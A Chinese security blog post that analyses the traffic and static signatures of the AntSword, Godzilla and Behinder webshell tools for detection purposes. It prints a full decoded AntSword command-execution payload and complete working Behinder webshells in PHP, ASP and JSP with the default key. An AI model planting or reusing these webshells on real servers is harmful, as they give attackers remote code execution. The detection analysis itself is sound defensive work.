loading...
webshell工具流量特征初探
Published in:2023-12-02 | category: webshell

0x00前言

学习过程复习到了webshell攻防部分,没怎么深入了解过这一块,跟着网上一些博客去学习下各webshell工具的特征,对以后防守方去捕捉webshell流量有一定了解,还可以往上延伸webshell免杀的思路,以3个常见的webshell工具为例进行分析。前置准备:用XP面板。运行php环境和apache,写个一句话木马,用burp去抓包分析。

0x01蚁剑

本人常用的工具就是蚂剑,里面可以安装一些大佬写的开源插件,一般较常用的有绕过disable_function、后渗透插件

本次使用的是蚁剑的默认编码

用蚁剑连接一句话马后,从数据包中看到里面有个ini_set(xxx)数据

再发送一段数据

可以看得出,蚁剑的基本的特征存在ini_set(“display_errors”, “0”)

并且在老版本的蚁剑中user-agent默认是蚁剑头,在使用2.1.15中request.js文件中已经设置了nodejs官方随机的random-fake-useragent模块,但在update.js文件下,还存有Antsword的agent头

使用蚁剑终端的pwd命令查看下数据包

解码下得到了代码,vs格式化不太好看,这样也能判断出大概的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
e054ebfc9bb446=EkY2QgIi9BcHBsaWNhdGlvbnMvcGhwc3R1ZHkvV1dXIjtwd2Q7ZWNobyBiNjE2MjE4M2E2NTtwd2Q7ZWNobyBlYTMzMQ==&hack=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir)
{$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr
as $item)
{if(!@is_writable($item)){continue;};$tmdir=$item."/.d3e0091ad95c";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir",
"..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","
/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function
asoutput(){$output=ob_get_contents();ob_end_clean();echo "efb" ."fe3";echo @asenc($output);echo "a6d8ca"
."411afd";}ob_start();try{$p=base64_decode(substr($_POST["ve0a018006ce77"],2));$s=base64_decode(substr($_POST["e054ebfc9bb446"],2));$envstr=@base64_decode(substr($_POST["yf44c9b536f58a"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"
?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/" ){@putenv("PATH=".getenv("
PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("
PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||",
$envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=" , $v));}}}$r="{$p} {$c}"
;function
fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function
runshellshock($d, $c) {if (substr($d, 0, 1)=="/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if
(strstr(readlink("/bin/sh"), "bash" ) !=FALSE) {$tmp=tempnam(sys_get_temp_dir(), 'as' );putenv("PHP_LOL=() { x; };
$c>$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return
False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return
False;};function
runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p
= @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')),
$io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d,
$c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new
COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret
= 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo
"ERROR://".$e->getMessage();};asoutput();die();&ve0a018006ce77=6cL2Jpbi9zaA==&yf44c9b536f58a=Ec

从数据包中可以看出传入了e054ebfc9bb446参数,并传入一段base64过的内容,并从内容中截取第三个字符开始进行解码,可以看到里面正是有一个pwd命令,并在最后输出了一个ea331字符串,以前的蚁剑是一个jasmine参数是代表密码,现在是直接显示密码参数

0x02哥斯拉

哥斯拉也是渗透中较为常见的webshell工具,由java语言编写的,生成的shell能绕过大部分查杀工具的静态查杀,流量加密部分也是可以绕过大部分流量监控waf。内涵的插件功能也是十分强大,除去基本的代码执行、文件操作,还有系统提权、msf联动、绕过disable_function、内存加载等等

本次使用的版本为4.0,工具地址为https://github.com/BeichenDream/Godzilla/releases

本次操作以PHP木马为例

刚开始使用抓包的时候如果没及时放包会提示initShellOpertion()报错,猜测应该是程序开始执行时先走这个方法,之后去看了下资料无误,随后也是跟网上一些思路反编译研究哥斯拉,直接搜索这个方法,可以看到在core/shell/shellentity.java下有这个方法

使用一句话php,抓包可以看到哥斯拉会发送三个数据包,其中包含的参数有密码pass,密钥key,还有扰乱数据,流程为先将密码和密钥拼接,获取到MD5,之后截取前16位,之后拼接恶意数据,最后还会截取MD5的后16位拼接,再使用url编码,最后还进行了一次base64编码。细心地还可以发现在返回包里会有set-cookie:PHPSESSID,因为这个木马是php的,还有一个Expires参数是一直不变的,和Cache-Control: no-store, no-cache, must-revalidate,这也是其中特征

1
2
3
4
5
6
7
8
public String generateEvalContent() {
String eval = (new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false))).replace("<?php","");
eval = functions.base64EncodeToString(eval.getBytes());
eval = (new StringBuffer(eval)).reverse().toString();
eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", new Object[] { URLEncoder.encode(eval) });
eval = URLEncoder.encode(eval);
return eval;
}//加密流程

第一个数据包,可以看到pass参数就是设置php马时设置的密码,里面已经有entity类的属性,包括密码,url,代理,密钥等信息,直接向shell发起请求,使用的是generateEvalContent函数

1
2
3
4
5
6
7
8
9
10
11
public boolean test() {
ReqParameter parameter = new ReqParameter();
byte[] result = evalFunc(null, "test", parameter);
String codeString = new String(result);
if (codeString.trim().equals("ok")) {
this.isAlive = true;
return true;
}
Log.error(codeString);
return false;
}

第二个数据包和第三个数据包一样,在代码中使用的是test函数用来测试与服务器的连接状态,将服务器返回结果去空格后对比等于ok就代表连接成功了。里面有个evalFunc函数,跟进函数(shells/payloads/php/PhpShell.java)

1
2
3
4
5
6
7
8
9
10
11
12
public byte[] evalFunc(String className, String funcName, ReqParameter parameter) {
fillParameter(className, funcName, parameter);
byte[] data = parameter.formatEx();
if (this.gzipDecodeMagic == 1) {
data = functions.gzipE(data);
}
byte[] result = this.http.sendHttpResponse(data).getResult();
if ((this.gzipEncodeMagic == -1 || this.gzipEncodeMagic == 1) && functions.isGzipStream(result)) {
result = functions.gzipD(result);
}
return result;
}

里面通过sendHttpResponse发送第二、三个数据包

第三个数据包

加密函数(shells/cryptions/phpXor/PhpEvalXor.java)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public byte[] encode(byte[] data) {
try {
return E(data);
} catch (Exception e) {
Log.error(e);
return null;
}
}
public byte[] E(byte[] cs) {
int len = cs.length;
for (int i = 0; i < len; i++) {
cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
}
return (String.format("%s=%s&", new Object[] { this.pass, this.evalContent }) + this.shell.getSecretKey() + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes();
}
//evalContent的内容是:
public String generateEvalContent() {
String eval = (new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false))).replace("<?php", "");
eval = functions.base64EncodeToString(eval.getBytes());
eval = (new StringBuffer(eval)).reverse().toString();
eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", new Object[] { URLEncoder.encode(eval) });
eval = URLEncoder.encode(eval);
return eval;
}

最终发送的数据包是拼接的,内容是:password密码=evalContent + 密钥key + = + 对要发送的数据先base64编码,再进行异或运算,再url编码

最终流程

计算出 md5 (pass + key), 对响应包截取该md5后的前16位以及后16位 sub(md5(pass+key) ,0,16) + payload + sub(md5(pass+key),16,32)
对截取后的响应包内容进行 base64解码 + aes解密 + gzip解压缩

0x03冰蝎

冰蝎是个动态二进制webshell客户端,常用于APT攻防,历史版本中有多个版本,如v2.0、v3.0、v4.0,里面有注入内存马、反弹shell、自定义代码功能,工具地址为https://github.com/rebeyond/Behinder

冰蝎4.0需要高版本jdk环境,还需要javafx库,java11以上移除了需要另外安装,库的地址https://openjfx.cn/dl/

本次使用的是PHP木马

引用作者一个图可以清晰看到冰蝎的整个流程(2.0&3.0)

注!!:没太了解这个,查了好几篇文章都是,其实这是个冰蝎2.0&3.0的流程图,但文章大多数标题都写4.0,后面才恍然大悟

可以看到与webshell连接时首先发起请求去获取密钥,而在webshell里会生成一个随机密钥,并写入session。

冰蝎4.0没有了输入密码的概念,而是直接将payload进行传输协议的加密后发送给服务端,这里也是变相向服务端确定这边可以连接到服务器,之后服务器就会解密payload,去命令执行,之后用同样的方式加密返回给本地,自定义传输协议算法就是所谓的密码

从连接shell到结束一共有2个数据包

使用ls命令抓到的数据包

可以从冰蝎传输协议功能看到,我用的是xor_base64加密,这里就是整段数据包加密处理的模块,里面用对数据包与key偏移做了一个异或操作。

整理下代码可以发现有一个cmd变量

把cmd变量中的值放到base64解码,得到刚才的ls

冰蝎3.0和4.0有什么区别

1、3.0是使用连接密码,向服务端发起请求获取密钥并添加到session中,而4.0则是引入全新的“传输协议”,本质上就是连接密码,不过是把密码“去中心化”

2、3.0建立通信时使用的是明文传输,4.0直接使用了传输协议加密后向服务器发起请求

3、4.0加入了更多的加密方式,而3.0以下均使用AES-128

0x04对比

静态特征

蚁剑

1、php中使用assert、eval等命令执行

2、asp使用的eval命令执行

3、jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

4、蚁剑的混淆加密会存在0x…开头的参数名,也可以作为特征

哥斯拉

1、选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和java反射(ClassLoader,GetClass().getClassLoader()),base64加解码

2、php和asp都是一句话木马

冰蝎

1、在PHP中会判断是否开启openssl采用不同的加密算法,在代码中同样会存在eval,assert等字符特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php @error_reporting(0); session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}else{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{
public function __invoke($p) {
eval($p."");
}
}
@call_user_func(new C(),$params);
?>

2、在asp中会在for循环进行一段异或处理

1
2
3
<% Response.CharSet = "UTF-8"  k="e45e329feb5d925b" 
Session("k")=k size=Request.TotalBytes content=Request.BinaryRead(size) For i=1 To size result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) Next execute(result)
%>

3、在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte []b) {
return super.defineClass(b,0,b.length);
}
}
%>
<%if (request.getMethod().equals("POST")) {
String k="e45e329feb5d925b"; /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

动态特征

蚁剑

1、整个请求包都是用url编码

2、@ini_set(“display_errors”,“0”);@set_time_limit(0)开头

3、随机生成一个参数并向这个参数传入值,截取第三个字符之后进行base64解码可以得到明文payload

哥斯拉

1、Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,上面的是一个jdk引入标志

2、cookie在最后会出现分号; ,一般的http请求之后分号是不会出现的

3、响应包结构特征一般为md5前16位+base64+md5后16位,md5只有0123456789ABCDEF范围,使用正则匹配容易分析出

4、请求体特征,也就是base64编码

冰蝎

1、对http的数据包检测,一般会有一串字符在POST方法的前面

2、检测accept头,一般来说是固定的

1
2
3
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

3、数据包长度较大(content-type)

4、默认设置为长连接(keep-alive)

5、端口检测,一般在49000-50000范围内会连接

6、error_reporting(0)开头

检测冰蝎还可以从以下几个方面入手

还看到一个师傅写的文章讲解如何100%捕捉冰蝎流量

https://xz.aliyun.com/t/7606

0x05总结

三个webshell工具各有千秋,一般来说普通的渗透测试使用蚁剑足矣,但冰蝎和哥斯拉对内网APT攻击的优势更大。其中识别冰蝎流量最直接的方法还可以观察cookie,正常的请求是不会携带cookie的。基本上这三个工具的共有特征都在accept头、content-type头、user-agent头都出现固定的形式,这个虽然不是比较有判断性,但是遇到一些不改特征的“脚本小子”也是有说法。常用的算法为aes、xor,最后都基本经过一次base64编码。

Prev:
股权架构设计
Next:
SQL注入总结
catalog
catalog